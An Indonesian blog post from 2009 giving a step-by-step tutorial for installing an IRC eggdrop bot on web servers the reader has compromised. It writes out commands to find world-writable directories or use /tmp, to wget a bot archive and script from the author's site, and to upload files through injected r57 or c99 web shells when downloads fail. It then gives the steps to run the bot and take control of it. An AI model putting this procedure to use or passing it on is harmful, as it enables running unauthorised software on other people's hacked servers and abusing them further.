Saturday, November 7, 2009

Cara Membuat Bot IRC di Shell

Seperti langkah pembuatan psyBNC yang saya tulis sebelumnya, pembuatan bot di IRC tidak berbeda jauh. Bot adalah sebutan pendek untuk sebuah robot. kegunaannya adalah dititikberatkan untuk penjagaan channel dan juga untuk meramaikan channel.

Tapi banyak juga bot yang dibuat untuk melakukan sebuah tindakan khusus, seperti bot game, bot cek ip, bot cerita, bot bawel, bot RFI scan dan masih banyak lagi. Namun yang akan saya jabarkan disini adalah bot umum yang mempunyai kegunaan untuk menjaga channel.

OK… biar ga panjang lebar lagi, ini adalah langkah-langkahnya :

  1. masuk ke shell anda
  2. cari direktori yang memberikan permission 777 dengan command “find / -perm 777 -type d”
  3. jika ga ada, langsung aja menuju direktori /tmp ato /var/tmp
  4. wget file bot dari web geocities saya. commandnya “wget geocities.com/rah_polenk/files/bot.tar.gz”
  5. jika ga berhasil, coba pake command lwp-download tapi dengan url yang lengkap, commandnya “lwp-download http://www.geocities.com/rah_polenk/files/bot.tar.gz”
  6. kalo ga bisa juga, pakailah script injectkan r57 ato c99 sehingga ada fitur uploadnya. dan uploadlah file psynya dengan fitur tersebut. jika belum punya filenya, donlot aja dari geocities.com/rah_polenk/files/bot.tar.gz
  7. saya anggap udah terupload ke server ya.. maka harus diextract dulu file tersebut dengan command “tar -zvxf bot.tar.gz”
  8. setelah diextract, masuk ke direktori .dat dengan command “cd .dat”
  9. kemudian masuk lagi ke direktori scripts dengan command “cd scripts”
  10. nah.. sekarang kita membutuhkan file ary.tcl untuk dapat menjalankan botnya, wget aja dari web geocities saya. commandnya “wget geocities.com/rah_polenk/files/ary.txt”
  11. kalo ga bisa, pake command lwp-download ato upload saja seperti cara 5 dan 6
  12. ubah namanya dengan command “mv ary.txt ary.tcl” maka namanya akan berubah ke ary.tcl
  13. kembali ke direktori .dat dengan command”cd ..”
  14. sekarang kita buat file confignya, commandnya adalah “./nadya namafile.config nickbot identbot IPshell channel(tanpa tanda #) nickowner” contohnya adalah “./nadya bot.txt LeNK-BoT botgue 66.66.66.66 balihackerlink LeNK”
  15. kalo ga tau IP dari web injectkan, masuk ke IRC dan ketik “/dns domainweb” contohnya “/dns yahoo.com” maka cek distatus box akan ada ip adressnya pakailah ip itu.
  16. setelah itu, jalankan file config yang sudah di buat dengan command “./eggdrop -m namafile.config” karena contoh di atas file confignya saya namakan bot.txt maka commandnya adalah “./eggdrop -m bot.txt”
  17. nah.. masuk ke irc dan lihat bot anda muncul di channel yang telah ditentukan
  18. kemudian pv/pm bot anda
  19. ketik “pass password” contohnya “pass lenkganteng” . itu adalah untuk memasukkan password anda.
  20. kemudian kembali ke channel dan ketik “!auth” maka bot telah menjadi milik anda

Ket:

  1. Ini adalah tutor untuk pembuatan bot pada web hasil inject
  2. Tutor ini hanya berjalan pada mesin Linux ato keluarga UNIX
  3. Semua command di atas tanpa tanda petik dua (“)
  4. Bot ini hanya untuk di server DALnet

sekian tutorial singkat pembuatan bot IRC…

No comments:

Post a Comment